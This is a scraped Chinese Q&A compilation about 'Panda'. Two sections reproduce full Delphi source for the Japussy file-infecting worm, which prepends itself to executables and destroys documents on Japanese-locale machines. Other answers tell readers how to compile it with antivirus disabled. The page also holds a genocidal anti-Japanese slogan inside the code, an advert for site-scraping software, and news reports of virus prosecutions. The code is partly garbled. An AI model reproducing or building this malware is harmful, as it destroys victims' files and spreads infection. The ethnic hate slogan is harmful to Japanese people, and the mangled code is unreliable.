熊貓源碼網

A. 哪有熊貓燒香的源代碼

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量

//在我的delphi5 sp1上面編譯得到的大小，其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記

//垃圾碼，以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來，以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之？
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列，避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧！
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之？
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
把我說的..空格刪去,,然後保存到C盤任何路徑下..你大概就能得熊貓燒香變種

B. 小說採集用什麼採集軟體比較好 收費的也可以

建議用熊貓採集，

熊貓採集軟體不僅僅操作簡單，更重要的是功能強悍、全面，是目前功能最強的採集軟體，該有的都有，而熊貓有的，老式採集軟體則做不到。熊貓採集軟體是復雜採集需求的必選！

換代產品，是目前為止，這個星球上最好的、操作最簡單的、功能最強的採集軟體。
一、操作簡單
對於常規採集任務，簡單到只需要輸入標題和列表頁起始地址即可實現精確採集。——輕松採集，從熊貓開始。

二、功能全面、強大
軟體雖然操作簡單，卻功能強大、全面。可以實現各類復雜採集需求。可應用於各種場合的通用性採集軟體

三、不懂技術亦可輕松操作
不需要編寫採集規則，不需要關心網頁源碼，全程滑鼠操作。操作界面友好、直觀。全程智能輔助。

四、解決復雜採集需求
企業基本資料和企業所有產品、企業所有招聘職位。正文和所有回復等等均可一次性完整採集、完整發布。

五、搜索引擎解析內核
利用智能搜索引擎的解析內核，實現對採集網頁的仿瀏覽器解析。擁有自成體系的多項核心關鍵技術。

六、強大的自動分析能力
系統可自動分析翻頁、分頁、頁面標題、正文等。可以對搜索引擎的搜索結果實現自動解析。

七、智能化輔助操作
為了方便採集軟體使用新手能順利操作，同時也為了提高採集項目設置的效率，軟體已盡最大努力，幫助用戶實現一些採集設置的自動設置工作，例如可以自動為用戶找到分頁(翻頁)鏈接所在，並自動設置好分頁(翻頁)鏈接參數；可以分離參考頁面的框架內容和核心內容；自動實現分頁內容的合並整理；等等。只是一些關鍵性的設置操作必須要由用戶自己來決定。

八、強悍的抗干擾能力
很多網站都針對採集行為作了各種干擾措施，傳統的採集工具都是依賴分析網頁源碼，利用正則表達式技術從網頁源碼中抽取特殊內容。而熊貓則完全不同，利用的是仿瀏覽器解析技術，因此這些反採集的干擾措施對熊貓基本無效。

軟體特有的功能包括：

1、面向對象採集
一個採集對象的子項內容可以是分散在若干個不同頁面內，頁面間可以是需要通過多次鏈接才能到達，數據彼此間可以具有復雜邏輯關系。

2、多模板自動適應
每個被採集的頁面都可以定義多個模板。系統會自動判斷使用最匹配的模板。如果不能定義多個模板，則很多時候的採集結果很難完整。

3、圖文混排內容合並採集
對於文字內容中夾雜的非文字內容(如圖片、動畫、視頻、音樂、文件等)，熊貓會進行合適的處理，使得採集結果可以保留被採集前的原樣。

4、精煉的採集結果
熊貓採集軟體使用的是仿瀏覽器解析技術，因此採集結果非常精煉，不會夾雜任何無關網頁源碼內容。

5、動態Cookie對話
有些網站會藉助瀏覽器cookie的動態對話功能實現對敏感數據的加密操作，此時就需要使用熊貓採集軟體的動態Cookie對話功能。

6、泛搜索自動解析
自動分析頁面標題、正文。支持對論壇頁面的解析。支持對搜索引擎搜索結果的解析。使用原創的自成體系的分析技術，准確率高。

7、支持復雜數據關系
採集結果直接存儲到資料庫，不需要自行編寫復雜的SQL語句，支持多表單聯合存儲。自動處理數據的更新、覆蓋、重復判斷等事宜。

8、發布不需要專用介面
不需要修改網站源碼來添加專用發布介面，而是直接利用網站已有的手工發布通道進行發布。可多馬甲切換發布。

9、多級模擬發布功能
可同時定義多個web模擬發布頁面，可以將採集到的具有復雜數據關系的採集結果，一次性完整的發布到網站中。

10、論壇整體搬家
完整拷貝對方網站的帖子及該帖子的所有回復和作者，並發布到自己的論壇中，包括所有用戶的注冊、發帖、回帖、滾動更新等。

11、招聘信息的完整採集、發布
一次性的採集拷貝招聘企業基本資料以及該企業的所有招聘職位，並一次性的完整發布到自己的網站中。

12、B2B信息的完整採集、發布
一次性的採集拷貝B2B網站內的企業基本資料以及該企業的所有產品、供求內容。並一次性的完整發布到自己的網站中。

13、小說網站的整體搬家。
利用熊貓特有的面向對象採集和多級模擬發布功能。可以將網路上的很多內容實現搬家拷貝，功能超出你的想像。

限於篇幅，不便過於詳細的羅列。熊貓採集軟體是新一代通用性的採集軟體，常見的採集軟體的功能都完全包括，例如：多任務、多線程、自動更新、掛機自動運行、分頁內容合並、cookie模擬登錄、多資料庫引擎的支持、FTP上傳、文件下載、時間提前、偽原創、模擬發布等等。熊貓採集軟體中的「常規版」即相當於老式採集軟體的完全版。

如果你用熊貓軟體解決不了你的採集需求，最大的可能是因為你尚未精通熊貓的功能和操作。

熊貓採集軟體，是網路站長必備的工具軟體之一，是復雜採集需求的必選，也是採集新手的首先。

C. 計算機病毒犯罪案例

計算機病毒危害大，有可能會導致犯罪，那麼用計算機病毒犯罪的案例有哪些呢?下面是我收集整理的計算機病毒犯罪案例，希望對大家有幫助~~

計算機病毒犯罪案例一

25歲的呂薜文，是廣州市人，高中畢業。法院在審理過程中查明，呂薜文於1997年4月加入國內“黑客”組織。去年1月至2月，他盜用他人網路賬號以及使用非法賬號上網活動，並攻擊中國公眾多媒體通信網廣州主機(即“視聆通”廣州主機)。成功入侵後，呂薜文取得了該主機系統的最高許可權，並非法開設了兩個具有最高許可權的賬號。此後，他又多次非法入侵該主機，對其部分文件進行刪除、修改、增加等一系列非法操作，包括非法開設四個賬號作為自己上網之用和送給他人使用、安裝並調試網路安全監測軟體(未遂)。同時，他為掩蓋自己的行為，還將上網的部分記錄刪除、修改。更為嚴重的是，呂薜文於去年2月25日和26日，三次修改了該主機系統最高許可權的密碼，致使密碼三次失效，造成主機系統管理失控共計15個小時的嚴重後果。此外，呂薜文還在去年2月12日對藍天BBS主機進行攻擊，獲得該主機最高許可權後又為自己非法開設一個最高許可權用戶賬號。

2月1日，專案組通過調查走訪，查明武漢男孩與另2人共同租住在武漢市洪山區專案偵查員在武漢佯裝購買殺毒軟體，釣出了一名出售者

專案民警分析：這名出售者就是武漢男孩後經偵查，武漢男孩叫李俊，男，25歲，武漢市新洲區陽邏鎮人，對電腦比較精通

2月2日，民警張良耀劉傑等人對李俊租居屋，實施24小時監控當日下午，專案民警研究實施抓捕行動，制定了抓捕方案和審訊方案

2月3日，專案組通過種種跡象分析，武漢男孩有可能要外逃抓捕行動須提前進行

3日晚8時40分，守候在出租屋內的仙桃網監大隊民警，將回到出租屋取東西的李俊抓獲，並對出租屋進行了勘驗

經突審，李俊交代，熊貓燒香病毒系他所寫，病毒源代碼在他與雷磊居住的某賓館房間的硬碟內，並承認有一份源代碼給了雷磊(男，25歲，武漢新洲區陽邏鎮長山村人，系李俊的同學)

專案民警立即出擊，將准備外逃的雷磊抓獲，並提取了筆記本電腦硬碟等物品國家計算機病毒應急處理中心對提取的源碼進行鑒定，認定為該源碼為熊貓燒香病毒源碼

為好玩搞錢銷售傳播病毒

去年9月，李俊在武漢某電腦學校學習軟體開發時，就開始製作熊貓燒香病毒10月，李俊畢業後，在武漢洪山區租了一單間房屋，潛心製作熊貓燒香病毒，在寫作過程中，不斷與雷磊交流寫作進度

11月，李俊將熊貓燒香病毒寫完，通過QQ群發布出售熊貓燒香病毒的消息，先後在網上以每個病毒5001000元的價格出售約20套

今年1月24日，雷磊找到李俊，告知其網上炒作熊貓燒香很厲害，要其避一避

當日，李俊與雷磊在武漢某賓館開一房間，一起研究熊貓燒香，由雷磊繼續在網上替李俊出售2000隻已中毒的肉機

2月4日，仙桃市公安局網監大隊對現場再次進行核查後，將李俊雷磊押回仙桃公安部組織協調山東浙江雲南廣東廣西等地網監部門，對涉案人員伺服器實施布控扣押

5日晚，仙桃公安局副局葉鐵官，在山東威海將王磊抓獲經初審，王磊交代，他是傳播熊貓燒香病毒最多的一人，日平均進賬7000元以上，所得與李俊平分

王磊還交代了另兩個傳播者，其中一個叫X火在省廳網監總隊的支持下，仙桃警方獲悉自稱X火的就是仙桃人當晚，警方在X火家中將其抓獲(此人真名王哲)另一路追逃專班，在浙江溫州將嫌疑人葉培新抓獲

此時，正在南昌收繳伺服器的該網監大隊隊長萬正明，接到指揮部的通知後，驅車趕往浙江麗水，3路追捕專班在浙江麗水會合6日晚，將嫌疑人張順抓獲

經審訊，李俊為熊貓燒香病毒製作者，其他5人為銷售傳播者，其目的就是好玩搞錢

李俊交代，熊貓燒香病毒是將幾種病毒合並在一起，演變成一種新病毒肉雞來控制電腦，在電腦里製造木馬程序，盜竊他人電腦里的QQ號游戲裝備等，得手後變賣獲利李俊一天最高收入達萬元

6名嫌疑人落網時，警方現場共收繳10餘萬元，其中王磊用贓款還購買了一輛吉普車

D. 誰有熊貓燒香的源代碼，給我發一份

轉自：http://bbs.54master.com/thread-147112-1-2.html

熊貓燒香 - 核心源碼 Delphi版本
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責
代碼:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之？
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之？
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end

E. 有熊貓燒香源代碼,怎麼把它變成病毒

網上有的熊貓的源代碼 大部分是dephi的，用個dephi的編譯軟體就 復制進去就可以生成了 不過殺毒軟體關掉 現在沒有一個殺毒軟體不能殺他 而且有的源代碼都是最早的那種 沒什麼用啊 你要干什麼